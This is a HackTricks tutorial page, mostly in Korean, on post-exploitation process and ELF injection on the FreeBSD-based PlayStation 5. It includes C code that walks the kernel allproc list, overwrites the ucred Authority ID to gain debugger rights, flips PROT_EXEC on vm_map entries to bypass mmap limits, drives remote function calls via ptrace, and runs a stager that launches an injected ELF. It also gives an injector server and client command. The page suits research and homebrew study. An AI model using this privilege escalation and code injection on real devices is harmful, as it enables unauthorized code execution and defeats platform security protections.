FreeBSD ptrace RFI and vm_map PROT_EXEC bypass (PS5 사례 연구)

Reading time: 7 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

개요

이 페이지는 FreeBSD 기반인 PlayStation 5 (PS5)에서의 실용적인 Unix/BSD 유저모드 프로세스/ELF 인젝션 기법을 문서화한다. 이 방법은 이미 kernel read/write (R/W) primitives를 보유한 경우 FreeBSD 파생판으로 일반화된다. 주요 내용:

  • 현재 프로세스의 credentials (ucred)을 패치하여 디버거 권한을 부여하고, 임의 사용자 프로세스에 대해 ptrace/mdbg를 가능하게 한다.
  • kernel allproc 리스트를 순회하여 대상 프로세스를 찾는다.
  • 커널 데이터 쓰기를 통해 대상의 vm_map에서 vm_map_entry.protection |= PROT_EXEC를 설정하여 PROT_EXEC 제한을 우회한다.
  • ptrace를 사용해 Remote Function Invocation (RFI)을 수행: 스레드를 일시중단하고, 레지스터를 설정하여 대상 내부의 임의 함수를 호출한 뒤 재개하고, 반환값을 수집하고 상태를 복원한다.
  • 프로세스 내 ELF 로더를 사용해 대상 내부에 임의의 ELF 페이로드를 매핑하고 실행한 다음, 페이로드를 실행하고 breakpoint를 트리거하여 깔끔하게 detach하는 전용 스레드를 생성한다.

이 기법과 관련해 주목할 PS5 하이퍼바이저 완화책:

  • XOM (execute-only .text)는 커널 .text의 읽기/쓰기를 차단한다.
  • CR0.WP를 클리어하거나 CR4.SMEP를 비활성화하면 하이퍼바이저 vmexit(크래시)를 초래한다. 데이터 전용 커널 쓰기만 가능하다.
  • 유저랜드 mmap은 기본적으로 PROT_READ|PROT_WRITE로 제한된다. PROT_EXEC 부여는 커널 메모리의 vm_map 엔트리를 편집하여 수행해야 한다.

이 기법은 포스트-익스플로이테이션이다: 익스플로잇 체인으로 얻은 kernel R/W primitives를 가정한다. 공개 페이로드들은 작성 시점의 펌웨어 10.01까지 이를 시연한다.

Kernel data-only primitives

allproc를 통한 프로세스 탐색

FreeBSD는 kernel .data의 allproc에 프로세스의 이중 연결 리스트를 유지한다. kernel read primitive로 이를 순회하여 프로세스 이름과 PID를 찾는다:

c
struct proc* find_proc_by_name(const char* proc_name){
uint64_t next = 0;
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t)); // list head
struct proc* proc = malloc(sizeof(struct proc));
do{
kernel_copyout(next, (void*)proc, sizeof(struct proc));       // read entry
if (!strcmp(proc->p_comm, proc_name)) return proc;
kernel_copyout(next, &next, sizeof(uint64_t));                // advance next
} while (next);
free(proc);
return NULL;
}

void list_all_proc_and_pid(){
uint64_t next = 0;
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t));
struct proc* proc = malloc(sizeof(struct proc));
do{
kernel_copyout(next, (void*)proc, sizeof(struct proc));
printf("%s - %d\n", proc->p_comm, proc->pid);
kernel_copyout(next, &next, sizeof(uint64_t));
} while (next);
free(proc);
}

Notes:

  • KERNEL_ADDRESS_ALLPROC는 펌웨어에 따라 다릅니다.
  • p_comm은 고정 크기 이름입니다; 필요하면 pid->proc 조회를 고려하세요.

디버깅을 위한 권한 상승 (ucred)

PS5에서는 struct ucred가 proc->p_ucred를 통해 접근 가능한 Authority ID 필드를 포함합니다. 디버거 Authority ID를 써 넣으면 다른 프로세스에 대한 ptrace/mdbg 권한이 부여됩니다:

c
void set_ucred_to_debugger(){
struct proc* proc = get_proc_by_pid(getpid());
if (proc){
uintptr_t authid = 0; // read current (optional)
uintptr_t ptrace_authid = 0x4800000000010003ULL; // debugger Authority ID
kernel_copyout((uintptr_t)proc->p_ucred + 0x58, &authid, sizeof(uintptr_t));
kernel_copyin(&ptrace_authid, (uintptr_t)proc->p_ucred + 0x58, sizeof(uintptr_t));
free(proc);
}
}
  • Offset 0x58는 PS5 펌웨어 계열에 특정하며 버전별로 확인해야 합니다.
  • 이 쓰기 후, injector는 ptrace/mdbg를 통해 사용자 프로세스에 attach하고 instrument할 수 있습니다.

RW-only 사용자 매핑 우회: vm_map PROT_EXEC flip

Userland의 mmap은 PROT_READ|PROT_WRITE로 제한될 수 있습니다. FreeBSD는 프로세스의 주소 공간을 vm_map_entry 노드들(BST plus list)로 구성된 vm_map에서 관리합니다. 각 엔트리는 protection 및 max_protection 필드를 가집니다:

c
struct vm_map_entry {
struct vm_map_entry *prev,*next,*left,*right;
vm_offset_t start, end, avail_ssize;
vm_size_t adj_free, max_free;
union vm_map_object object; vm_ooffset_t offset; vm_eflags_t eflags;
vm_prot_t protection; vm_prot_t max_protection; vm_inherit_t inheritance;
int wired_count; vm_pindex_t lastr;
};

With kernel R/W you can locate the target’s vm_map and set entry->protection |= PROT_EXEC (and, if needed, entry->max_protection). Practical implementation notes:

  • Walk entries either linearly via next or using the balanced-tree (left/right) for O(log n) search by address range.
  • Pick a known RW region you control (scratch buffer or mapped file) and add PROT_EXEC so you can stage code or loader thunks.
  • PS5 SDK code provides helpers for fast map-entry lookup and toggling protections.

This bypasses userland’s mmap policy by editing kernel-owned metadata directly.

원격 함수 호출 (RFI) 및 ptrace

FreeBSD lacks Windows-style VirtualAllocEx/CreateRemoteThread. Instead, drive the target to call functions on itself under ptrace control:

  1. Attach to the target and select a thread; PTRACE_ATTACH or PS5-specific mdbg flows may apply.
  2. Save thread context: registers, PC, SP, flags.
  3. Write argument registers per the ABI (x86_64 SysV or arm64 AAPCS64), set PC to the target function, and optionally place additional args/stack as needed.
  4. Single-step or continue until a controlled stop (e.g., software breakpoint or signal), then read back return values from regs.
  5. Restore original context and continue.

Use cases:

  • Call into an in-process ELF loader (e.g., elfldr_load) with a pointer to your ELF image in target memory.
  • Invoke helper routines to fetch returned entrypoints and payload-args pointers.

Example of driving the ELF loader:

c
intptr_t entry = elfldr_load(target_pid, (uint8_t*)elf_in_target);
intptr_t args  = elfldr_payload_args(target_pid);
printf("[+] ELF entrypoint: %#02lx\n[+] Payload Args: %#02lx\n", entry, args);

로더는 segments를 매핑하고, imports를 해결하며, relocations을 적용한 후 entry(종종 CRT bootstrap)와 당신의 stager가 payload의 main()에 전달하는 불투명한 payload_args 포인터를 반환합니다.

스레드화된 stager와 깔끔한 detach

타깃 내부의 최소한의 stager는 ELF의 main을 실행하는 새 pthread를 생성한 다음 int3를 트리거하여 injector에게 detach하라고 신호를 보냅니다:

c
int __attribute__((section(".stager_shellcode$1"))) stager(SCEFunctions* functions){
pthread_t thread;
functions->pthread_create_ptr(&thread, 0,
(void*(*)(void*))functions->elf_main, functions->payload_args);
asm("int3");
return 0;
}
  • SCEFunctions/payload_args 포인터는 loader/SDK glue에서 제공됩니다.
  • breakpoint와 detach 후, payload는 자체 thread에서 계속 실행됩니다.

종단 간 파이프라인 (PS5 참조 구현)

작동하는 구현체는 작은 TCP injector server와 클라이언트 스크립트로 구성됩니다:

  • NineS server는 TCP 9033에서 수신 대기하며, 대상 프로세스 이름을 포함한 헤더와 그 다음에 이어지는 ELF 이미지를 받습니다:
c
typedef struct __injector_data_t{
char       proc_name[MAX_PROC_NAME];
Elf64_Ehdr elf_header;
} injector_data_t;
  • Python 클라이언트 사용법:
bash
python3 ./send_injection_elf.py SceShellUI hello_world.elf <PS5_IP>

Hello-world payload 예시 (klog에 기록):

c
#include <stdio.h>
#include <unistd.h>
#include <ps5/klog.h>
int main(){
klog_printf("Hello from PID %d\n", getpid());
return 0;
}

실무적 고려사항

  • Offsets and constants (allproc, ucred authority offset, vm_map layout, ptrace/mdbg details) 는 펌웨어별로 다르므로 릴리스마다 업데이트해야 합니다.
  • Hypervisor 보호는 데이터 전용 커널 쓰기만 허용합니다; CR0.WP 또는 CR4.SMEP를 패치하려 시도하지 마십시오.
  • JIT 메모리는 대안입니다: 일부 프로세스는 실행 가능한 페이지를 할당하기 위해 PS5 JIT APIs를 노출합니다. vm_map protection flip은 JIT/mirroring 트릭에 의존할 필요를 제거합니다.
  • 레지스터 저장/복원을 견고하게 유지하세요; 실패하면 대상이 데드락되거나 크래시할 수 있습니다.

공개 도구

  • PS5 SDK (dynamic linking, kernel R/W wrappers, vm_map helpers): https://github.com/ps5-payload-dev/sdk
  • ELF loader: https://github.com/ps5-payload-dev/elfldr
  • Injector server: https://github.com/buzzer-re/NineS/
  • Utilities/vm_map helpers: https://github.com/buzzer-re/playstation_research_utils
  • Related projects: https://github.com/OpenOrbis/mira-project, https://github.com/ps5-payload-dev/gdbsrv

참고자료

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기